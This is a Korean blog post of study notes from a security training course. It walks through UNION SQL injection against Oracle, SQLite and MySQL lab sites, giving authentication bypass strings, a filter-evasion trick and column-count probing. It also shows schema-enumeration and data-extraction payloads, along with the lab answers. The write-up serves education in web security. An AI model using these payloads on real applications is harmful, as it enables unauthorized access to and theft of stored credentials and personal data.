yon11b

[SK 쉴더스 루키즈] UNION SQL Injection (Oracle, SQLite, MySQL) 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] UNION SQL Injection (Oracle, SQLite, MySQL)

yon11b 2026. 6. 22. 20:09
반응형

환경설정

Oracle 환경설정
설치할때 만든 비번(1234)을 기억하자.
 
1. 맨 처음에는 사용자이름: SYSTEM / 비밀번호: 1234로 접속한다.

SYSTEM 계정으로 들어가서 Table 목록을 보면 기본으로 만들어진 테이블들이 많이 있는 것을 볼 수 있다.
 
2. 그리고 test user 계정을 만듦

-- 1. 세션에서 스크립트 변경 허용 설정 (12c 이상 필수)
ALTER SESSION SET "_ORACLE_SCRIPT" = TRUE;

-- 2. 사용자 생성 (아이디: test / 비밀번호: 1234)
CREATE USER test IDENTIFIED BY 1234;

-- 3. 접속 및 기본 개발 권한 부여
GRANT CONNECT, RESOURCE, DBA TO test;

 
 
3. 그리고 test 계정으로 접속

여기는 테이블이 아예 없음

 

실습을 위한 테이블 생성

1. 게시판 테이블

더보기
-- 1. 글번호 자동 증가를 위한 시퀀스 생성
CREATE SEQUENCE board_seq
    START WITH 1
    INCREMENT BY 1
    NOCACHE
    NOCYCLE;

-- 2. 게시판 테이블 생성
CREATE TABLE board (
    board_id    NUMBER DEFAULT board_seq.NEXTVAL PRIMARY KEY, -- 글번호 (기본키)
    title       VARCHAR2(150) NOT NULL,                       -- 제목
    content     CLOB NOT NULL,                                -- 내용 (길은 글을 위해 CLOB 사용)
    writer      VARCHAR2(50) NOT NULL,                        -- 글쓴이
    view_count  NUMBER DEFAULT 0 NOT NULL                     -- 조회수 (기본값 0)
);
INSERT INTO board (title, content, writer) VALUES ('첫 번째 공지사항입니다.', '안녕하세요. 게시판이 오픈되었습니다.', '관리자');
INSERT INTO board (title, content, writer) VALUES ('가입 인사드립니다!', '반갑습니다. 앞으로 자주 올게요.', '홍길동');
INSERT INTO board (title, content, writer) VALUES ('오늘 날씨가 정말 좋네요.', '주말에 나들이 가기 딱 좋은 날씨입니다.', '이영희');
INSERT INTO board (title, content, writer) VALUES ('질문 있습니다.', '혹시 오라클에서 CLOB 타입 쓸 때 주의할 점이 있나요?', '김철수');
INSERT INTO board (title, content, writer) VALUES ('맛있는 점심 메뉴 추천해주세요.', '맨날 먹는 것만 먹어서 질리네요. 추천 부탁드립니다.', '프로먹방러');
INSERT INTO board (title, content, writer) VALUES ('주말에 정주행할 만한 드라마 있을까요?', '넷플릭스나 디즈니플러스 다 좋습니다.', '집돌이');
INSERT INTO board (title, content, writer) VALUES ('SQL 공부 시작했습니다.', '생각보다 재밌네요. 열심히 해보겠습니다.', '코린이');
INSERT INTO board (title, content, writer) VALUES ('오늘 퇴근길 지하철 지연되네요.', '다들 조심히 퇴근하세요.', '직장인A');
INSERT INTO board (title, content, writer) VALUES ('드디어 금요일입니다!', '한 주 동안 모두 고생 많으셨습니다.', '불금조아');
INSERT INTO board (title, content, writer) VALUES ('게시판 테스트 마지막 글', '테스트 데이터가 정상적으로 들어가는지 확인합니다.', '테스터');

-- 변경 사항 반영
COMMIT;
select * from board;

2. 주소록 테이블

더보기
CREATE TABLE address_book (
    id       NUMBER GENERATED AS IDENTITY PRIMARY KEY, -- 고유 식별자
    name     VARCHAR2(50) NOT NULL,                    -- 이름
    age      NUMBER NOT NULL,                          -- 나이 (25~29)
    address  VARCHAR2(100) NOT NULL,                   -- 주소 (4개 지역 돌려쓰기)
    hobby    VARCHAR2(50) NOT NULL                     -- 취미 (4개 취미 돌려쓰기)
);
INSERT INTO address_book (name, age, address, hobby) VALUES ('김지한', 25, '서울시', '독서');
INSERT INTO address_book (name, age, address, hobby) VALUES ('이서연', 26, '부산시', '운동');
INSERT INTO address_book (name, age, address, hobby) VALUES ('박민우', 27, '경기도', '요리');
INSERT INTO address_book (name, age, address, hobby) VALUES ('최유진', 28, '인천시', '등산');
INSERT INTO address_book (name, age, address, hobby) VALUES ('정다은', 29, '서울시', '운동');
INSERT INTO address_book (name, age, address, hobby) VALUES ('강준혁', 25, '부산시', '요리');
INSERT INTO address_book (name, age, address, hobby) VALUES ('조현우', 26, '경기도', '등산');
INSERT INTO address_book (name, age, address, hobby) VALUES ('윤서현', 27, '인천시', '독서');
INSERT INTO address_book (name, age, address, hobby) VALUES ('장민지', 28, '서울시', '요리');
INSERT INTO address_book (name, age, address, hobby) VALUES ('임재희', 29, '부산시', '등산');
INSERT INTO address_book (name, age, address, hobby) VALUES ('한지수', 25, '경기도', '독서');
INSERT INTO address_book (name, age, address, hobby) VALUES ('오태양', 26, '인천시', '운동');
INSERT INTO address_book (name, age, address, hobby) VALUES ('서예진', 27, '서울시', '등산');
INSERT INTO address_book (name, age, address, hobby) VALUES ('신동현', 28, '부산시', '독서');
INSERT INTO address_book (name, age, address, hobby) VALUES ('권지아', 29, '경기도', '운동');
INSERT INTO address_book (name, age, address, hobby) VALUES ('황정민', 25, '인천시', '요리');
INSERT INTO address_book (name, age, address, hobby) VALUES ('송미경', 26, '서울시', '독서');
INSERT INTO address_book (name, age, address, hobby) VALUES ('전수현', 27, '부산시', '운동');
INSERT INTO address_book (name, age, address, hobby) VALUES ('홍성민', 28, '경기도', '요리');
INSERT INTO address_book (name, age, address, hobby) VALUES ('유하은', 29, '인천시', '등산');

-- 변경 사항 반영
COMMIT;

3. 개인정보 테이블

더보기
CREATE TABLE account_info (
    id         NUMBER GENERATED AS IDENTITY PRIMARY KEY, -- 고유 식별자
    user_id    VARCHAR2(50) NOT NULL UNIQUE,             -- 아이디 (중복 방지)
    password   VARCHAR2(100) NOT NULL,                    -- 비밀번호
    email      VARCHAR2(100) NOT NULL,                    -- 이메일
    phone      VARCHAR2(20) NOT NULL                     -- 전화번호
);
-- 일반 사용자 샘플 데이터 20개
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user01', 'pass01!', 'user01@naver.com', '010-1234-5671');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user02', 'pass02!', 'user02@gmail.com', '010-1234-5672');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user03', 'pass03!', 'user03@daum.net', '010-1234-5673');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user04', 'pass04!', 'user04@naver.com', '010-1234-5674');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user05', 'pass05!', 'user05@gmail.com', '010-1234-5675');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user06', 'pass06!', 'user06@daum.net', '010-1234-5676');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user07', 'pass07!', 'user07@naver.com', '010-1234-5677');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user08', 'pass08!', 'user08@gmail.com', '010-1234-5678');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user09', 'pass09!', 'user09@daum.net', '010-1234-5679');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user10', 'pass10!', 'user10@naver.com', '010-1234-5680');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user11', 'pass11!', 'user11@gmail.com', '010-1234-5681');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user12', 'pass12!', 'user12@daum.net', '010-1234-5682');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user13', 'pass13!', 'user13@naver.com', '010-1234-5683');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user14', 'pass14!', 'user14@gmail.com', '010-1234-5684');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user15', 'pass15!', 'user15@daum.net', '010-1234-5685');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user16', 'pass16!', 'user16@naver.com', '010-1234-5686');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user17', 'pass17!', 'user17@gmail.com', '010-1234-5687');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user18', 'pass18!', 'user18@daum.net', '010-1234-5688');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user19', 'pass19!', 'user19@naver.com', '010-1234-5689');
INSERT INTO account_info (user_id, password, email, phone) VALUES ('user20', 'pass20!', 'user20@gmail.com', '010-1234-5690');

-- 마지막 요청 조건: admin 계정 추가
INSERT INTO account_info (user_id, password, email, phone) VALUES ('admin', 'password123', 'admin@company.com', '010-0000-0000');

-- 변경 사항 반영
COMMIT;

 

SQL Injection 개념

보통 sql injection 강의할 때 or 1=1을 많이 하는데 이것보단 진짜 원리를 이해하고 쿼리문을 작성하는 것이 중요하다.
 
이런 쿼리문도 가능하다.

select * from account_info
where user_id='user01' or 'q'='f' and password='e'

 
이렇게 입력한다.

  • user_id: 'user01' or 'q'='f
  • password='e

 
쿼리문은 and 연산을 먼저한다.

where user_id='user01' or ('q'='f' and password='e')

 
or 다음을 false 조건('q'='f')으로 해주면 쿼리문에서 and 연산이 우선이기 때문에 or (false and false) → or false 가 된다.
그런데 앞에 user_id가 참이기 때문에 true or false가 되어서 어차피 true가 된다.
 
이 쿼리문은

select * from account_info
             where    user_id = 'user01' or 'q'='f' and password = '아무거나1234';"

 
 
이런 의미인 것이다.

select * from account_info             
             where user_id = 'user01' or (F and F)
             where user_id = 'user01' or F

 
결국 이렇게 됨.

select * from account_info where user_id = 'user01'

 
 

강사님의 꿀팁

실무에서는 -- 주석을 쓰지 않는다. 쿼리문이 길기 때문에 뒤에 어떤 쿼리문이 있을지 모르기 때문에 다 살려놔야 한다.
그래서 완벽한 문법을 만드는 것을 권장한다. user01' or '1'='1 이런 식으로
 

실습 문제

1번: 기본 SQL
id: z_answer@eqst2.com' or '1'='1
pw: 아무거나

 
2번: or, and 필터링
 
방법1: 주석처리
id=z_answer@eqst3.com'--
 
방법2: or 필터링 우회(권장)
z_answer@eqst3.com' oorr '1'='1
 

Union SQL Injection

union: select 쿼리문 두 개 합침.
 
조건
1. 앞 select 문 컬럼 개수 == 뒤 select 문 컬럼 개수
2. 앞 select 문 컬럼 자료형 == 뒤 select 문 컬럼의 자료형
 
 

ORA-01785: ORDER BY 항목은 SELECT 목록 식의 수라야 합니다

https://docs.oracle.com/error-help/db/ora-01785/01785. 00000 -  "ORDER BY item must be the number of a SELECT-list expression"
*Cause:    Either an ORDER BY item for a set expression was not a
           column number, or the ORDER BY item was not the number of a
           SELECT list column.
*Action:   The ORDER BY item must be a number between 1 and the
           number of columns in the SELECT list. Check the column number
           and retry the statement.
4행, 37열에서 오류 발생

컬럼 개수가 같지 않으면 이런 에러 메시지 나옴.
 

ORA-01790: 대응하는 식과 같은 데이터 유형이어야 합니다

https://docs.oracle.com/error-help/db/ora-01790/01790. 00000 -  "expression must have same datatype as corresponding expression"
*Cause:    A SELECT list item corresponds to a SELECT list item
           with a different datatype in another query of the same set
           expression.
*Action:   Check that all corresponding SELECT list items have
           the same datatypes. Use the TO_NUMBER, TO_CHAR, and TO_DATE
           functions to do explicit data conversions.

자료형이 같지 않으면 이런 에러 메시지 나옴.
 
사용 예제

select name, address from address_book union
select user_id, password from account_info;

 
 

like 문

select * from address_book
where name like '%지한%';

 
서버의 쿼리문이 like문이라면 내가 sqli해줄 때도 % 을 넣어줘야 한다. 
 
서버 쿼리문이 이런식 일 때,

select * from address_book
where name like '%{사용자입력값}%'

 
 
사용자입력값

aa' and 'r%'='r

 
 
결과 쿼리문

select * from address_book
where name like '%aa' and 'r%'='r%'

 
 
근데 이거 하려면 table name, col name을 다 알아야 한다. → 어떻게 아냐?

1. 쿼리문 유추
2. 공격포인트 찾기
3. 컬럼 알아내기
  - 컬럼의 개수 알아내기(union 특성 이용하는 방법, order by 이용하는 방법)
  - 컬럼의 자료형(union 특성 이용)
4. 테이블명 탈취
5. 컬럼명 탈취
6. 필요한 정보 탈취

 
테이블명 탈취하는 방법
all_tables, user_tables(기본 테이블)
테이블 전체를 다 볼 수 있음: select * from all_tables;

이 중에서 내가 원하는 테이블을 골라 select 하면 된다.
 
컬럼명 탈취하는 방법
all_tab_columns, user_tab_columns
select * from user_tab_columns;

컬럼의 개수를 찾는 방법 (2가지)
<사전 지식>
order by [컬럼명]: 쿼리문 실행을하고 그걸 컬럼을 기준으로 정렬해줘(기본 asc)

select * from address_book order by age, name;

=> age로 먼저정렬하고 age가 같으면 name으로 정렬하기
 
1. order by [숫자]
order by 1:첫번째 컬럼으로 정렬해주세요
order by 2:두번째 컬럼으로 정렬해주세요

select col1, col2, col3 from 테이블 where name like '%지%' order by 1-- %'

그래서 이 숫자를 하나씩 증가시키다가 에러를 발생시키는 숫자-1가 컬럼의 개수인 것을 알 수 있다.
(여기서는 col1을 기준으로 정렬하는 것.)
 
2. 빈 컬럼 하나씩 추가(+자료형까지 구할 수 있음)
union에서는 컬럼개수가 같아야 한다는 특성을 이용하여 컬럼 개수 구하기.
dual: 아무것도 없는 더미 테이블

삼성동%' union select null,null,null,null,null from dual where 'i%'='i
삼성동%' union select null,null,null,null,null from dual where '%'='

이렇게 해서 에러가 나지 않고 맨 마지막 줄에 null이 추가되면 그 null의 개수가 컬럼의 개수이다.

null 행이 추가됨

 
처음에는 null을 넣어서 컬럼 개수를 찾고 그 다음에는 문자열/숫자를 넣어서 컬럼의 자료형을 찾는다.
 
다 문자열 컬럼이고 컬럼 순서는 보이는 순서대로이다.

삼성동%' union select 'a','b','c','d','e' from user_tables where '%'='

만약 틀린 자료형을 넣는다면 에러가 난다.

삼성동%' union select 1,'','','','' from user_tables where '%'='

숫자 자료형(1)을 넣어봤다.

 

실습문제1: Oracle 환경

주소 찾기 창에서 일어나는 union sql injection 취약점
 
1. 쿼리문 유추
그냥 삼성동 입력했을 때

2. 공격포인트 찾기
select 컬럼 from 주소찾기 where 읍/면/동 like '% %';
이런식으로 쿼리문이 작성되었을 가능성이 크다.


3. 컬럼 알아내기
  - 컬럼의 개수 알아내기(union 특성 이용하는 방법, order by 이용하는 방법)

입력값: select 컬럼 from 주소찾기 where 읍/면/동 like '%삼성동%' order by 5 ,'q%';

(6넣으면 에러 남.)
 

  - 컬럼의 자료형(union 특성 이용)

입력값: 삼성동%' union select null, null, null, null, null from dual where 'i%'='i

null에 숫자, 문자 하나씩 넣어봐서 에러 안나는 걸로 자료형 알아냄
 
컬럼 순서 알아보기
union select ‘a’,’b’,’c’,’d’,’e’ from dual where ~~
얘는 문자형이므로 1,2,3,4,5 대신 a,b,c,d,e로 순서를 알아본다. 알아봤더니 순서대로였다.


4. 테이블명 탈취

삼성동%' union select table_name,'','','','' from user_tables where '%'=’

SQL_UNION_ANSWER 테이블을 알아냈다.

5. 컬럼명 탈취
SQL_UNION_ANSWER 테이블의 컬럼명을 알아내보자.
첫번째 컬럼 자리에 컬럼명을 출력하도록 한다.  

삼성동%' union select column_name,'b','c','d','e' from dual where table_name=’SQL_UNION_ANSWER' and ‘%’=’

 

ANSWER_COLUMN이라는 컬럼명을 알아냈다. 이제 이 컬럼의 값을 추출해보자. 
 
6. 필요한 정보 탈취

삼성동%' union select ANSWER_COLUMN, ANSWER_COLUMN, ANSWER_COLUMN, ANSWER_COLUMN, '' from SQL_UNION_ANSWER where '%'='

실습문제2: SQLite 환경

목표: 관리자의 id, pw 구하기

 

Oracle은 조건이 빡세서 자료형 구분을 다 하지만 SQLite에서는 컬럼 자료형 문자,숫자 구분 안 한다. 그래서 union select에서 자료형 안 맞춰도 된다.

 

기본 화면

 

예상 쿼리문

멍만 입력해도 멍멍삼, 멍멍사 등이 출력된다. => like 구문 사용하고 있음을 알 수 있다.

select * from 테이블 where col_name like '%{사용자입력}%';

 

취약점

사용자 입력: 공격쿼리문%' and '%'='%

 

최종 결과: select * from 테이블 where col_name like '%공격쿼리문%' and '%'='%';

 

이런식으로 %과 '을 잘 조작하면 된다. 

 

공격 포인트 확인

멍%' or '1%'='1

=> 이걸 입력했을 때 에러 안 남. 잘 작동한다!

 

컬럼 개수 구하기

멍%' order by 7,'q

최종 결과: select * from 테이블 where col_name like '%멍%' order by 7,'q%';

-> 7컬럼을 기준으로 정렬하고 같은 값이 있다면 그때는 'q%'를 기준으로 정렬해라

-> 7 컬럼도 없고 'q%'도 없으므로 에러가 난다.

 

 

멍%' order by 5,'q

이건 에러가 안난다 > 컬럼 개수 5개.

 

 

이걸로도 확인가능

멍%' union select null,null,null,null,null where 'i%'='i

맨 첫줄에 none이 추가되었다.

 

컬럼 순서 구하기

멍%' union select 'a','b','c','d','e' where 'i%'='i

 

테이블이름+컬럼이름 한번에 구하기

sqlite_master 라는 기본테이블에 테이블&컬럼 정보 다 들어있음

멍%' UNION SELECT sql,'b','c','d','e'
FROM sqlite_master
WHERE 'i%'='i

 

 

Q. UNION SELECT sql,'b' ~~~ 여기서 쓰는 sql 은 뭘까?
A. CREATE TABLE 문이다.

예를 들어 member 테이블을 만들 때 우리는 다음의 쿼리문을 작성할 것이다.

CREATE TABLE member (
    id TEXT,
    pw TEXT,
    name TEXT
);

 

그럼 SQLite는 이 쿼리문을 sqlite_master 테이블의 sql 컬럼에 저장해둔다.

 

sqlite_master 테이블 구조

컬럼명 의미
type table, index, view 등
name 객체 이름
tbl_name 관련 테이블 이름
rootpage 내부 페이지 번호
sql CREATE SQL 문

 

컬럼 발견

idx

id

name

password

 

참고: sqlite_master 컬럼값들 다 출력

멍%' UNION SELECT type,name,tbl_name,rootpage,sql
FROM sqlite_master
WHERE 'i%'='i

 

필요한 개인정보 값 구하기

멍%' UNION SELECT id,name,password,’d','e'
FROM member where 'i%'='i

 

관리자

id: admin

pw: passw0rd

 

실습문제3: MySQL 환경


회원가입 페이지의 주소찾기 부분에 취약점이 존재한다.

쿼리문 유추

그냥 봉천동을 입력했을 때 화면

봉천동만 입력해도 포함된 문자열이 뜸 > like 문 사용 유추

select * from board where col_name like '% %';

 

공격 포인트 확인

봉천동%' and '%'=' 을 입력했을 때 결과 == 봉천동만 입력했을 때 결과

공격쿼리문이 잘 작동하는 것을 확인했다.

 

컬럼 개수 확인하기

union select 는 앞 뒤 select 문의 컬럼 개수가 동일해야 작동하기 때문에 컬럼 개수를 알아내서 맞춰줘야 한다.

봉천동%' union select null,null,null,null,null from dual where '%'=' -> 컬럼 수 5개

여기서 null을 하나 더 입력하거나 적게 입력하면 "결과가 없습니다. 다시 시도해 주세요" 가 뜨고, 지금처럼 딱 5개만 null을 입력하면 봉천동 결과값이 잘 뜬다.

 

그런데 빈값이 있는 행이 새로 생기지도 않고 그냥 "봉천동"만 입력했을 때처럼 3개의 결과행이 뜨지도 않는다.

1개만 뜬다.

 

union은 중복제거를 해서 그렇다. union all 을 쓰면 중복 제거를 안 하고 다 보여준다.

봉천동%' union all select null,null,null,null,null from dual where '%'='

여기서는 빈 행도 추가가 되었다.

왜 union만 하면 빈행이 추가가 안 되는 건지는 모르겠다.

 

테이블명&컬럼명 알아내기

MySQL에서는 information_schema가 DB 메타 정보가 모여 있는 기본 데이터베이스이다.

이 안에 여러 테이블이 있고, 그 중 columns 테이블이 컬럼 정보를 가진다.

 

information_schema.columns 테이블 구조

컬럼명 의미
TABLE_SCHEMA DB 이름
TABLE_NAME 테이블 이름
COLUMN_NAME 컬럼 이름
ORDINAL_POSITION 컬럼 순서
COLUMN_DEFAULT 기본값
IS_NULLABLE NULL 허용 여부
DATA_TYPE 자료형
CHARACTER_MAXIMUM_LENGTH 문자열 최대 길이
COLUMN_TYPE 상세 자료형
COLUMN_KEY PK, UNI, MUL 여부
EXTRA auto_increment 등

 

봉천동%' UNION SELECT table_name, column_name, '', '',''
FROM information_schema.columns
WHERE table_schema = DATABASE() AND '%'='

 

* table_schema = database()는 현재 선택된 DB 안의 테이블/컬럼만 보겠다는 뜻이다.

information_schema.columns에는 모든 DB의 컬럼 정보가 다 들어있기 때문에 필요한 것만 골라 보기 위해서 저렇게 씀.

table 이름: union_answer

column 이름: answer_column

 

개인정보값 탈취

컬럼 개수 5개만 맞춰주고 answer_column의 값을 조회하면 된다.

봉천동%' UNION SELECT answer_column,'','','','' from union_answer where '%'='

답: this_is_answer_answer

728x90